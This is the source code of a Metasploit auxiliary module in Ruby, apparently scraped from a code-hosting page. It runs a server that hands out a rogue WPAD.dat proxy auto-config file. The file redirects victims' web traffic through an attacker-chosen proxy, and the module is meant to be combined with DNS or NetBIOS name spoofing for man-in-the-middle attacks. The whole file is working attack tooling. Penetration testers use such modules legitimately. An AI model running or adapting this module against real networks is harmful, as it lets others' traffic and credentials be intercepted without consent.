92 lines
2.4 KiB
Ruby
92 lines
2.4 KiB
Ruby
##
|
|
# This module requires Metasploit: http://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
require 'msf/core'
|
|
|
|
class Metasploit3 < Msf::Auxiliary
|
|
|
|
include Msf::Exploit::Remote::HttpServer::HTML
|
|
include Msf::Auxiliary::Report
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'WPAD.dat File Server',
|
|
'Description' => %q{
|
|
This module generates a valid wpad.dat file for WPAD mitm
|
|
attacks. Usually this module is used in combination with DNS attacks
|
|
or the 'NetBIOS Name Service Spoofer' module. Please remember as the
|
|
server will be running by default on TCP port 80 you will need the
|
|
required privileges to open that port.
|
|
},
|
|
'Author' =>
|
|
[
|
|
'et' # Metasploit module
|
|
],
|
|
'License' => MSF_LICENSE,
|
|
'DefaultOptions' =>
|
|
{
|
|
'SRVPORT' => 80
|
|
},
|
|
'Passive' => true))
|
|
|
|
register_options(
|
|
[
|
|
OptAddress.new('EXCLUDENETWORK', [ true, "Network to exclude",'127.0.0.1' ]),
|
|
OptAddress.new('EXCLUDENETMASK', [ true, "Netmask to exclude",'255.255.255.0' ]),
|
|
OptAddress.new('PROXY', [ true, "Proxy to redirect traffic to", '0.0.0.0' ]),
|
|
OptPort.new('PROXYPORT',[ true, "Proxy port", 8080 ])
|
|
], self.class)
|
|
|
|
deregister_options('URIPATH')
|
|
end
|
|
|
|
|
|
def on_request_uri(cli, request)
|
|
vprint_status("Request '#{request.method} #{request.headers['user-agent']}")
|
|
|
|
return send_not_found(cli) if request.method == "POST"
|
|
|
|
html = <<-EOS
|
|
function FindProxyForURL(url, host) {
|
|
// URLs within this network are accessed directly
|
|
if (isInNet(host, "#{datastore['EXCLUDENETWORK']}", "#{datastore['EXCLUDENETMASK']}"))
|
|
{
|
|
return "DIRECT";
|
|
}
|
|
return "PROXY #{datastore['PROXY']}:#{datastore['PROXYPORT']}; DIRECT";
|
|
}
|
|
EOS
|
|
|
|
print_status("Sending WPAD config")
|
|
send_response_html(cli, html,
|
|
{
|
|
'Content-Type' => 'application/x-ns-proxy-autoconfig'
|
|
})
|
|
end
|
|
|
|
def resource_uri
|
|
"/wpad.dat"
|
|
end
|
|
|
|
def primer
|
|
hardcoded_uripath("/proxy.pac")
|
|
end
|
|
|
|
def run
|
|
# This should probably be added to the Http mixin's run method
|
|
begin
|
|
exploit
|
|
rescue Errno::EACCES => e
|
|
if e.message =~ /Permission denied - bind/
|
|
print_error("You need to have permission to bind to #{datastore['SRVPORT']}")
|
|
else
|
|
raise e
|
|
end
|
|
end
|
|
end
|
|
|
|
end
|
|
|